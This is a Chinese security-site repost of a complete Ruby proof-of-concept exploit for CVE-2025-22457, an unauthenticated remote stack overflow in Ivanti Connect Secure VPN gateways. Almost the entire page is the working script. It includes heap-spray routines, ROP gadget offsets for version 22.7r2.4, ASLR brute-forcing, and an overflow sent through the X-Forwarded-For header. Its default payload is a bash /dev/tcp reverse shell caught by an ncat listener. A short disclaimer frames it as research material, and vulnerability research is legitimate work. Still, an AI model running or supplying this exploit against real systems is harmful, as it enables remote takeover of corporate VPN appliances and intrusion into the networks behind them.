CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本

admin 2025年4月21日16:46:16评论25 views字数 8059阅读26分51秒阅读模式

CVE-2025-22457介绍:

基于堆栈的远程缓冲区溢出,影响 Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure 和 ZTA 网关。
POC地址:https://github.com/sfewer-r7/CVE-2025-22457
可以针对易受攻击的 Ivanti Connect Secure 版本 22.7r2.4 运行此脚本,如下所示:
CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本
CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本
脚本内容:
# PoC for CVE-2025-22457 - Ivanti Connect Secure unauthenticated RCE
#
# Usage:
#
# First start a netcat listener to catch the reverse shell:
#     ncat -lnvkp 4444
# The run the exploit against a target:
#     ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444
#
# Stephen Fewer (Rapid7) - April 9, 2025.
require 'socket'
require 'openssl'
require 'httparty'
require 'optparse'

HTTParty::Basement.default_options.update(verify: false)

def log(txt)
  $stdout.puts("[#{Time.now}] #{txt}")
end

# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def get_productversion(options)
  res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter")

  return nil unless res&.code == 200

  m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)

  return nil unless m&.length == 2

  m[1]
end

def send_http_data(options, data, verbose = false, read = true)
  s = TCPSocket.open(options[:target_ip], options[:target_port])

  if options[:target_scheme] == 'https'
    ctx = OpenSSL::SSL::SSLContext.new

    ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)

    s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
      socket.sync_close = true
      socket.connect
    end
  end

  s.write(data)

  return [nil, s] unless read

  result = ''

  content_length = 0

  while line = s.gets
    p line if verbose

    m = line.match(/content-length: (\d+)\r\n/i)
    content_length = m[1].to_i if m

    result << line

    next unless line == "\r\n" && content_length
    break if content_length <= 0

    content = s.read(content_length)

    p content if verbose

    result << content
    break
  end

  [result, s]
end

def hax(options)
  log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/"

  log "[+] Payload: #{options[:payload]}"

  productversion = get_productversion(options)

  if productversion.nil?
    log "[-] Could not get product version for #{options[:target_ip]}:#{options[:target_port]}"
    return
  end

  log "[+] Detected version #{productversion}"

  # NOTE: All gadgets are from /home/lib/libdsplibs.so
  targets = {
    # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
    '22.7.2.3597' => {
      overflow_length: 622,
      # 0x0050c7e6: mov esp, ebp; pop ebp; ret;
      gadget_mov_esp_ebp_pop_ret: 0x0050c7e6,
      offset_to_got_plt: 0x0157c000,
      # 0x00033222: pop ebx; ret;
      gadget_pop_ebx_ret: 0x00033222,
      # .text:F6D7131F mov [esp], edi
      # .text:F6D71322 call __ZN5DSSys18isInterfaceEnabledEPKc
      gadget_call_system: 0x0087E31F
    }
  }

  target = targets[productversion]

  throw "No target for #{productversion}" unless target

  log '[+] Starting...'

  # with 9 bits of entroy, we should guess corectly every ~512 attempts.
  0.upto(1024) do |attempt|
    # XXX: we have to brute force this.
    libdsplibs_base = options[:libdsplibs] || (0xf6400000 + (attempt % 512))

    log "[+] Attempt #{attempt}, trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}"

    log '    Making connections...'

    spray_socks = []
    lock = Mutex.new
    threads = []

    0.upto(options[:max_threads]) do
      threads << Thread.new do
        while true
          begin
            break unless lock.synchronize do
              spray_socks.length < ((1024 - 256) * options[:web_children])
            end

            body  = "GET / HTTP/1.1\r\n"
            body << "Host: #{options[:target_ip]}:#{options[:target_port]}\r\n"
            body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
            body << "Content-Type: EAP\r\n"
            body << "Upgrade: IF-T/TLS 1.0\r\n"
            body << "Content-Length: 0\r\n"
            body << "\r\n"

            res, s = send_http_data(options, body, false, true)

            throw 'bad response1' unless res.include? '101 Switching Protocols'

            lock.synchronize do
              spray_socks << s
            end
          rescue StandardError
            log "[-] Exception: #{$!}"
          end
        end
      end
    end

    threads.each do |t|
      t.join
    end

    log '    Spraying...'

    shell_cmd  = "a;#{options[:payload]} # "
    shell_cmd += "\x00"
    shell_cmd += 'B' while shell_cmd.length < 128

    throw 'shell_cmd should be 128 bytes' unless shell_cmd.length == 128

    spray_pattern = [
      0xCAFEF00D, # 0x39393918:
      0xCAFEF01D, # 0x3939391C:
      0xCAFEF02D, # 0x39393920:
      0xCAFEF03D, # 0x39393924:

      libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: <--- initial eip control, stack pivot gadget.
      0x39393928 - 0x10, # 0x3939392C:
      0xCAFEF06D, # 0x39393930: <--- 0x39393930 points here @ ebp (rop: pop ebp)
      libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934:

      libdsplibs_base + target[:offset_to_got_plt], # 0x39393938: <--- eax (rop pop ebx)
      libdsplibs_base + target[:gadget_call_system], # 0x3939393C:
      0xCAFEF0AD, # 0x39393940:
      0xCAFEF0BD, # 0x39393944:

      0xCAFEF0CD, # 0x39393948:
      0xCAFEF0DD, # 0x3939394C:
      0xCAFEF0ED, # 0x39393950:
      0xCAFEF0FD, # 0x39393954:

      0xCAFEF10D, # 0x39393958:
      0x3939392C, # 0x3939395C: <--- 0x39393930+0x2c ->> edx 0x3939392C
      0xCAFEF12D, # 0x39393960:
      0xCAFEF13D, # 0x39393964:

      0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi
      0xCAFEF15D, # 0x3939396C:
      0xCAFEF16D, # 0x39393970:
      0xCAFEF17D, # 0x39393974:

      0xCAFEF18D, # 0x39393978:
      0xCAFEF19D, # 0x3939397C:
      0xCAFEF1AD, # 0x39393980:
      0xCAFEF1BD, # 0x39393984:

      0xCAFEF1CD, # 0x39393988:
      0x41414141, # 0x3939398C: <--- last EIP after payload exits.
      0xCAFEF1ED, # 0x39393990:
      0x00000000  # 0x39393994: 0x39393930+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.

      # 0x39393998: shell_cmd @ edi
    ].pack('V*') + shell_cmd

    throw 'spray_pattern should be 256 bytes' unless spray_pattern.length == 256

    heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)

    ift_body = [
      0x00005597, # VENDOR_TCG
      0x00000001, # IFT_VERSION_REQUEST
      heap_buffer.length + 16 + 1,
      0 # seq id
    ].pack('NNNN') + heap_buffer

    spray_idx = 0

    0.upto(options[:max_threads]) do
      threads << Thread.new do
        while true
          begin
            s = lock.synchronize do
              s = spray_socks[spray_idx]
              spray_idx += 1
              s
            end

            break if s.nil?

            s.write(ift_body)
          rescue StandardError
            p "[-] exception: #{$!}"
          end
        end
      end
    end

    threads.each do |t|
      t.join
    end

    log '    Triggering...'

    buffer = '1' * target[:overflow_length]

    buffer += [
      0x31313131, # ebx
      0x32323232, # esi
      0x33333333, # edi
      0x34343434, # ebp
      0x35353535, # eip (but we dont get control here)
      0x39393930  # [ebp+8] -> a1 -> heap spray
    ].pack('V*')

    throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any?

    body  = "GET / HTTP/1.1\r\n"
    body << "X-Forwarded-For: #{buffer}\r\n"
    body << "\r\n"

    0.upto(options[:web_children]) do |attempt|
      log "    #{attempt}"
      send_http_data(options, body, true)
    rescue StandardError
      log "[-] Exception: #{$!}"
    end

    # if we have failed, give the target a few seconds to respawn the web binary before we try again.
    sleep(5)
  end
  log '[+] Finished.'
end

options = {
  target_scheme: 'https',
  target_ip: nil,
  target_port: 443,
  local_ip: nil,
  local_port: 4444,
  payload: 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1',
  max_threads: 32,
  web_children: 4,
  libdsplibs: nil
}

OptionParser.new do |opts|
  opts.banner = 'Usage: CVE-2025-22457.rb [options]'

  opts.on('-s', '--scheme=https', 'http or https (Default: https)') do |v|
    options[:target_scheme] = v.downcase
  end

  opts.on('-t', '--rhost=IP', 'Remote IP of target') do |v|
    options[:target_ip] = v
  end

  opts.on('-p', '--rport=PORT', 'Remote port of target (Default: 443)') do |v|
    options[:target_port] = v.to_i
  end

  opts.on('--lhost=IP', 'Local IP for reverse shell') do |v|
    options[:payload].gsub!('LHOST', v)
  end

  opts.on('--lport=PORT', 'Local port for reverse shell (Default: 4444)') do |v|
    options[:payload].gsub!('LPORT', v)
  end

  opts.on('-c', '--cmd=CMD', 'Payload Command (Defaults to a reverse shell)') do |v|
    options[:payload] = v
  end

  opts.on('-k', '--max_threads=COUNT', 'Max threads to use when spraying (Default: 32)') do |v|
    options[:max_threads] = v.to_i
  end

  # Depending on the underlying hardware, the number of CPUs available to the appliance will dictate
  # the number of child processes the /home/bin/web binary will spawn. As all incoming HTTPS requests
  # will be distributed between these children, we need to account for this and perform the heap spray
  # enough times for all child processes. We need to do this as when we trigger the vulnerability, we
  # cannot know what child process we will trigger it in. So we need the heap spray to be present in
  # every child process.
  # 1 vCPU - 1 web process, no children
  # 2 vCPU - 1 web parent, 2 children
  # 4 vCPU - 1 web parent, 4 children
  # 8 vCPU - 1 web parent, 8 children
  opts.on('--web_children=COUNT', 'The number of /home/bin/web child processes (Default: 4)') do |v|
    options[:web_children] = v.to_i
  end

  opts.on('--libdsplibs=ADDRESS', 'Base address of libdsplibs (e.g. 0xf6486000)') do |v|
    options[:libdsplibs] = v.to_i(16)
  end
end.parse!

throw 'set target IP via -t argument' unless options[:target_ip]

throw 'set payload local IP via --lhost argument' if options[:payload].include? 'LHOST'

throw 'set payload local port via --lport argument' if options[:payload].include? 'LPORT'

throw 'payload cannot be empty' if options[:payload].empty?

throw 'payload is too large, must be <= 122 chars' if options[:payload].length > 122

hax(options)

原文始发于微信公众号(Z1sec):CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日16:46:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本https://cn-sec.com/archives/3982253.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息